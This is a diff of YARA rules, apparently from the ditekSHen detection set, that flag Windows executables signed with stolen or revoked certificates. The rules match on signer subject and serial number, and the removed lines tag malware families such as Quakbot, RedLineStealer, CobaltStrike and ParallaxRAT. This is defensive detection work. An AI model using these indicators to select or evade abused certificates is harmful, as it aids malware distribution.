+rule DITEKSHEN_INDICATOR_KB_CERT_3533080B377F80C0Ea826B2492Bf767B : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "ef600135-6f5d-59a9-b387-60e8eb97cbf9"
+		id = "42d2328e-742e-5c35-aa14-3b42442543ce"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8386-L8399"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1127-L1138"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d85b9d2b6fe4ce99670a8f51e84d63f1ec6d0341a3715eeed3e3d6a0fda93dc5"
+		logic_hash = "a7adb9190be4a9cf60adf4b55c8abaa80e01224ea834fc05705afef37703899e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9ed703ba7033af5f88a5f5ef0155adc41715d3175eec836822a09a93d56e4b7f"
-		reason = "Matanbuchus"
+		thumbprint = "2afcc4cdee842d80bf7b6406fb503957c8a09b4d"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Westeast Tech Consulting, Corp." and pe.signatures[i].serial=="06:1a:27:a3:a3:77:1b:b4:40:fc:16:ca:df:26:75:c4")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE5\\xA8\\x9C\\xE8\\xBF\\xAA\\xD0\\x91\\xE8\\xBF\\xAA\\xD0\\x91\\xE5\\xA8\\x9C\\xE5\\x93\\xA6\\xE5\\xB0\\xBA\\xE5\\x8B\\x92\\xE5\\x8B\\x92\\xD0\\x91\\xE8\\xBF\\xAA\\xD0\\x91\\xE5\\xB0\\xBA\\xE5\\xB0\\xBA\\xE8\\xBF\\xAA\\xE5\\x93\\xA6\\xE8\\xBF\\xAA\\xE5\\x8B\\x92\\xD0\\x91\\xE5\\x8B\\x92\\xE5\\x93\\xA6\\xE5\\x8B\\x92\\xE5\\x93\\xA6\\xD0\\x91" and pe.signatures[i].serial=="35:33:08:0b:37:7f:80:c0:ea:82:6b:24:92:bf:76:7b")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_06675181E7B5E1030B3D40926E2A47D3 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B0Ecd32F95F8761B8A6D5710C7F34590 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "2452580b-bbe8-5d54-888e-6f8fffb055cf"
+		id = "2535c9eb-ed4a-52b9-8ad5-80c44c035135"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8401-L8414"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1140-L1151"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "14d963fd03187afb7afabc208e36d8bb45ec818b27782a6c3037229f82bf22d6"
+		logic_hash = "5c181dab1f39138c67650d6654353de2be29cdbf45e0f5235776d28d40194f24"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b617253b3695fd498d645bd8278d1bdae2bc36bd4da713c6938e3fe6b0cdb9a4"
-		reason = "NetWire"
+		thumbprint = "2e25e7e8abc238b05de5e2a482e51ed324fbaa76"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ORANGE VIEW LIMITED" and pe.signatures[i].serial=="06:67:51:81:e7:b5:e1:03:0b:3d:40:92:6e:2a:47:d3")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE6\\x96\\xAF\\xD0\\xA8\\xD0\\xA8\\xE5\\xBC\\x97\\xE6\\xAF\\x94\\xE5\\xBC\\x97\\xD0\\xA8\\xE6\\xAF\\x94\\xD0\\xA8\\xE5\\xBC\\x97\\xD0\\xA8\\xE5\\xB0\\x94\\xE5\\xBC\\x97\\xE5\\xBC\\x97\\xD0\\xA8\\xE5\\xB0\\x94\\xD0\\xA8\\xE6\\x96\\xAF\\xE5\\xB0\\x94\\xE5\\xBC\\x97" and pe.signatures[i].serial=="00:b0:ec:d3:2f:95:f8:76:1b:8a:6d:57:10:c7:f3:45:90")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Dbc03Ca7E6Ae6Db6 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3A727248E1940C5Bf91A466B29C3B9Cd : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "801bc9fc-0bd6-5c46-8c45-8cb06cfc4309"
+		id = "db43ed73-de46-526e-a255-137a4eaaedce"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8416-L8429"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1153-L1164"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7d188663b00870e98984b4be4c72b0fd183b5fb8dd61512c1d65d386f1ebad0a"
+		logic_hash = "0afeb50b36d0ca1adbd6cb3accccb3ee093434b8c0bd8b03ae70ecc45c7423b5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e059776cb5e640569a06c2548e87af5bd655f5d4815b8f6e9482835455930987"
-		reason = "CobaltStrike"
+		thumbprint = "eeeb3a616bb50138f84fc0561d883b47ac1d3d3d"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SPIDER DEVELOPMENTS PTY LTD" and pe.signatures[i].serial=="db:c0:3c:a7:e6:ae:6d:b6")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE5\\x90\\x89\\xE5\\x90\\x89\\xD0\\x98\\xE5\\x90\\x89\\xD0\\x98\\xE4\\xB8\\x9D\\xE4\\xB8\\x9D" and pe.signatures[i].serial=="3a:72:72:48:e1:94:0c:5b:f9:1a:46:6b:29:c3:b9:cd")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_26F855A25890B749578F13E4B9459768 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ce40906451925405D0F6C130Db461F71 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "2953afc3-6a46-5126-8f82-52f8dc1f89d6"
+		id = "5e858504-b1c4-579e-b0e8-f6cf4f434672"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8431-L8444"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1166-L1177"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2de5a2d4d692c14660a9ec3ed18a7d2d6741a862c86812fcd640b1378281c328"
+		logic_hash = "02b03b18942cff20ddce429f7be7cc9e54dfbf4884c79c7438c9b9d4415c5b93"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7c81ba35732d1998def02461217cfd723150151bc93375a3e27c2cec33915660"
-		reason = "Quakbot"
+		thumbprint = "af79bbdb4fa0724f907343e9b1945ffffb34e9b3"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Boo’s Q & Sweets Corporation" and pe.signatures[i].serial=="26:f8:55:a2:58:90:b7:49:57:8f:13:e4:b9:45:97:68")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE8\\x89\\xBE\\xE6\\x9D\\xB0\\xE8\\x89\\xBE\\xD0\\xA5\\xE7\\xBB\\xB4\\xE6\\x9D\\xB0\\xE6\\x96\\xAF\\xE6\\x96\\xAF\\xE7\\xBB\\xB4\\xE6\\x9D\\xB0\\xE6\\x9D\\xB0\\xD0\\xA5\\xE6\\x96\\xAF\\xD0\\xA5\\xD0\\xA5\\xE6\\x96\\xAF\\xE6\\x9D\\xB0\\xE6\\x9D\\xB0\\xE8\\x89\\xBE\\xE6\\x9D\\xB0\\xE6\\x9D\\xB0\\xE8\\x89\\xBE\\xE6\\x9D\\xB0\\xE6\\x96\\xAF\\xE6\\x9D\\xB0" and pe.signatures[i].serial=="00:ce:40:90:64:51:92:54:05:d0:f6:c1:30:db:46:1f:71")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_25Ba18A267D6D8E08Ebc6E2457D58D1E : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E130D3537E0B7A4Dda47B4D6F95F9481 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "d2c4907e-cec2-5386-96d3-8c122c7557fa"
+		id = "efcc63ba-51f9-5b16-a33d-05d536efa6c6"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8446-L8459"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1179-L1190"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "38bdfa2291c7c3f81b29d41c65814002db3e4de11928699d2d946e87d313558d"
+		logic_hash = "c394a115fa3fbd7fb2838b61b3c439df3daa9aa44b1901d1740060df0539411e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e59824f73703461c2c170681872a28a9bc4731d4b49079aa3afba1d29f83d736"
-		reason = "BadNews"
+		thumbprint = "89f9786c8cb147b1dd7aa0eb871f51210550c6f4"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "5Y TECHNOLOGY LIMITED" and pe.signatures[i].serial=="25:ba:18:a2:67:d6:d8:e0:8e:bc:6e:24:57:d5:8d:1e")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE4\\xBC\\x8A\\xE6\\x96\\xAF\\xE8\\x89\\xBE\\xE4\\xBC\\x8A\\xE8\\x89\\xBE\\xE8\\x89\\xBE\\xE5\\x90\\xBE\\xE5\\x90\\xBE\\xE5\\x8B\\x92\\xE5\\x8B\\x92\\xE5\\x8B\\x92\\xE5\\x8B\\x92" and pe.signatures[i].serial=="00:e1:30:d3:53:7e:0b:7a:4d:da:47:b4:d6:f9:5f:94:81")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0A2787Fbb4627C91611573E323584113 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4Bec555C48Aada75E83C09C9Ad22Dc7C : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "5da7ac8f-34f7-5949-9987-32e983a77ebe"
+		id = "664b8f55-03f8-5f36-aaf7-60ee4e613af4"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8461-L8474"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1192-L1203"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e4ea9149f28798b48482ff68c3e08593a4510e3bd01e49ebdca7d450f15537e4"
+		logic_hash = "de4562f70bbe25aa053f2476efca12b99cd4f2ee721df620d02d004bac2a59f9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8badf05b1814d40fb7055283a69a0bc328943100fe12b629f1c14b9448163aac"
-		reason = "Malware"
+		thumbprint = "a2be2ab16e3020ddbff1ff37dbfe2d736be7a0d5"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "exxon.com" and pe.signatures[i].serial=="0a:27:87:fb:b4:62:7c:91:61:15:73:e3:23:58:41:13")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xD0\\x92\\xE5\\xB1\\x81\\xE5\\xB0\\x94\\xE5\\x90\\xBE\\xD0\\x92\\xE5\\x90\\x89\\xE5\\xB0\\x94\\xE5\\x90\\xBE\\xD0\\x92\\xE4\\xB8\\x9D\\xE5\\xB1\\x81" and pe.signatures[i].serial=="4b:ec:55:5c:48:aa:da:75:e8:3c:09:c9:ad:22:dc:7c")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_C81319D20C6F1F1Aec3398522189D90C : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_009356E0361Bcf983Ab14276C332F814E7 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "d93f571b-49f6-5a8b-9478-1054ede2257f"
+		id = "6b5966d7-59ab-5d8a-936e-71b937424234"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8476-L8489"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1205-L1216"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1271d0cc05d35a70a90f605e7c68fc52605570e453e9e67fbeb74762a88a0a96"
+		logic_hash = "e85adfa9c004a46fe6060a36def3f8387de1484eb9fc3ae935d00265da135eab"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "18d8be8afa6613e2ef037598a6e08e0ef197d420f21aa4050f473fcabd16644a"
-		reason = "RedLineStealer"
+		thumbprint = "f8bc145719666175a2bb3fcc62e0f3b2deccb030"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AMCERT,LLC" and pe.signatures[i].serial=="c8:13:19:d2:0c:6f:1f:1a:ec:33:98:52:21:89:d9:0c")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE8\\x89\\xBE\\xE5\\x90\\x89\\xE4\\xB8\\x9D\\xE6\\x9D\\xB0\\xE8\\x89\\xBE\\xE4\\xB8\\x9D\\xE6\\x9D\\xB0\\xE8\\x89\\xBE\\xE6\\x9D\\xB0\\xE4\\xB8\\x9D\\xE4\\xBC\\x8A\\xE6\\x9D\\xB0\\xE5\\x90\\x89\\xE4\\xBC\\x8A" and pe.signatures[i].serial=="00:93:56:e0:36:1b:cf:98:3a:b1:42:76:c3:32:f8:14:e7")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_77550Ed697992B397E3F1Ad8E2A662D1 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E5D20477E850C9F35C5C47123Ef34271 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "1d969340-de5e-569e-bfed-a80a1623d1b4"
+		id = "c8777008-b15f-58c8-9172-f54a4864d2cc"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8491-L8504"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1218-L1229"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "87a70f10a111c4c5d1c3fb5b1c2a9da528f7d484ae6391c91e4052aba5c6bbe0"
+		logic_hash = "984f6dba8613ca43a9ffdcba63e57516bd2c6df02698b87aa4a080f89cc6abc0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0c439c7b60714158f62c45921caf30d17dae37ec6cbc2dfdd9d306e18ae6df63"
-		reason = "ParallaxRAT"
+		thumbprint = "d11431836db24dcc3a17de8027ab284a035f2e4f"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GRASS RAIN, s.r.o." and pe.signatures[i].serial=="77:55:0e:d6:97:99:2b:39:7e:3f:1a:d8:e2:a6:62:d1")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE8\\x89\\xBE\\xD0\\x92\\xE5\\xBE\\xB7\\xE8\\x89\\xBE\\xE5\\x8B\\x92\\xD0\\x92\\xE8\\xB4\\x9D\\xE8\\x89\\xBE\\xE5\\xBE\\xB7\\xD0\\x92\\xE8\\x89\\xBE\\xD0\\x92\\xD0\\x92\\xE8\\x89\\xBE\\xD0\\x92\\xE8\\xB4\\x9D\\xE5\\x8B\\x92\\xD0\\x92\\xE5\\xBE\\xB7\\xE8\\xB4\\x9D\\xD0\\x92\\xD0\\x92\\xE8\\x89\\xBE\\xD0\\x92" and pe.signatures[i].serial=="00:e5:d2:04:77:e8:50:c9:f3:5c:5c:47:12:3e:f3:42:71")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_B1Bbef3Aba79Ab2Eae5B8015F26B34F8 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00C865D49345F1Ed9A84Bea40743Cdf1D7 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "382952bd-ffb3-5ff7-aff1-cf9fe8f20d1d"
+		id = "2ef45336-bb59-5510-af6f-29e41c9258b9"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8506-L8519"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1231-L1242"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "34b00243f0b5e8d09938f1500871797125644f839298427c877801027638fd34"
+		logic_hash = "1a43e85e8c8d254dc3ba48ee9be5c233818fd6137967cd0235e802a2de1f9564"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "247a10fc20386f4f54b7451aecc2d97ec77567c5031028cc7f1b98f9191bee80"
-		reason = "NW0rm"
+		thumbprint = "d5e8afa85c6bf68d31af4a04668c3391e48b24b7"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DIDZHITAL ART, OOO" and pe.signatures[i].serial=="b1:bb:ef:3a:ba:79:ab:2e:ae:5b:80:15:f2:6b:34:f8")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE5\\xB0\\x94\\xE5\\x93\\xA6\\xD0\\x93\\xE8\\x89\\xBE\\xE5\\xB1\\x81\\xE5\\xB1\\x81\\xE5\\x93\\xA6\\xE5\\xB1\\x81\\xE5\\x93\\xA6\\xE7\\xBB\\xB4\\xE5\\x93\\xA6\\xE8\\x89\\xBE\\xE5\\xB0\\x94\\xE8\\x89\\xBE" and pe.signatures[i].serial=="00:c8:65:d4:93:45:f1:ed:9a:84:be:a4:07:43:cd:f1:d7")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_05D50A0E09Bb9A836Ffb90A3 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_29F2093E925B7Fe70A9Ba7B909415251 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "f6947bf1-7f20-5be5-a242-c1025be40055"
+		id = "51c21421-18e4-52df-8fe7-75db7141824c"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8521-L8534"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1244-L1255"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fc38ae0c9d4fc26739deab65ae3669f272e999b76dbc521dae04b9a3e3e7cef0"
+		logic_hash = "9b3c6a0571c096e431594d9331b3ae8127b02cc3cdf1e994a113026d77bbae4c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2d072e0e80885a82d5e35806b052ca416994e0fe06da1cfdcebd509d967a1aae"
-		reason = "ParallaxRAT"
+		thumbprint = "f9fc647988e667ec92bdf1043ea1077da8f92ccc"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Toliz Info Tech Solutions INC." and pe.signatures[i].serial=="05:d5:0a:0e:09:bb:9a:83:6f:fb:90:a3")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xD0\\x99\\xE4\\xB8\\x9D\\xE4\\xBC\\x8A\\xE5\\x85\\x8B\\xD0\\x99\\xE8\\x89\\xBE\\xE8\\x89\\xBE\\xE5\\x85\\x8B\\xD0\\x99\\xE8\\x89\\xBE\\xE5\\x85\\x8B\\xD0\\x9D\\xD0\\x9D\\xE8\\x89\\xBE\\xE8\\x89\\xBE\\xE5\\x85\\x8B\\xE4\\xB8\\x9D\\xD0\\x99\\xE8\\x89\\xBE\\xE5\\x85\\x8B\\xD0\\x9D\\xD0\\x9D\\xE5\\x85\\x8B\\xD0\\x9D\\xD0\\x9D\\xD0\\x9D\\xE8\\x89\\xBE\\xE4\\xB8\\x9D\\xE4\\xBC\\x8A" and pe.signatures[i].serial=="29:f2:09:3e:92:5b:7f:e7:0a:9b:a7:b9:09:41:52:51")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_623Eae6A66D3A6Ee80Df9Ccebe51181E : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0889E4181E71B16C4A810Bee38A78419 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "7c3b85e4-8ce7-5c48-8f3b-e237a5cae9a0"
+		id = "e9ada9f1-4b52-5da6-ba82-3ea2625ccefd"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8536-L8549"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1257-L1268"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "79fceab5a19025d25abb12a8e6f57f8a930d348d538d9c556b6d4fc461af66f2"
+		logic_hash = "2411f7ac79d18af295d77078c6e1c98c5a116ab24125c08946cb6ca09c28bc7b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "21c4e9af43068d041e6aec84341ae89cabb9917792c4bc372eced059555bb845"
-		reason = "Quakbot"
+		thumbprint = "bce3c17815ec9f720ba9c59126ae239c9caf856d"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GAIN AI LTD" and pe.signatures[i].serial=="62:3e:ae:6a:66:d3:a6:ee:80:df:9c:ce:be:51:18:1e")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE5\\x8B\\x92\\xE5\\xBC\\x97\\xE4\\xBC\\x8A\\xE4\\xBC\\x8A\\xE5\\x90\\xBE\\xE4\\xBC\\x8A\\xE5\\x90\\xBE" and pe.signatures[i].serial=="08:89:e4:18:1e:71:b1:6c:4a:81:0b:ee:38:a7:84:19")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0A392F03Ded5D73Cdeeda75052A57176 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00C1Afabdaa1321F815Cdbb9467728Bc08 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "c0a8cc1c-7427-589b-9e32-8679e9cdf251"
+		id = "e7904179-672a-5668-8b6d-f7f7090678fb"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8551-L8564"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1270-L1281"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ea0159ec1c4670c1e961a87131998fa796cf205eaa8a06bf829c61c9694fa5ef"
+		logic_hash = "be637a192a90a35be9879d5e36fb3cf9a56ca4158329d6b1fad458e2d05e3d26"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "cf1d95b39cc695e90dc2ca8b1b50f33b71f9f21091df2b72ed97f0759b5ddde4"
-		reason = "Quakbot"
+		thumbprint = "e9c5fb9a7d3aba4b49c41b45249ed20c870f5c9e"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FLOWER COMPUTERS LTD" and pe.signatures[i].serial=="0a:39:2f:03:de:d5:d7:3c:de:ed:a7:50:52:a5:71:76")
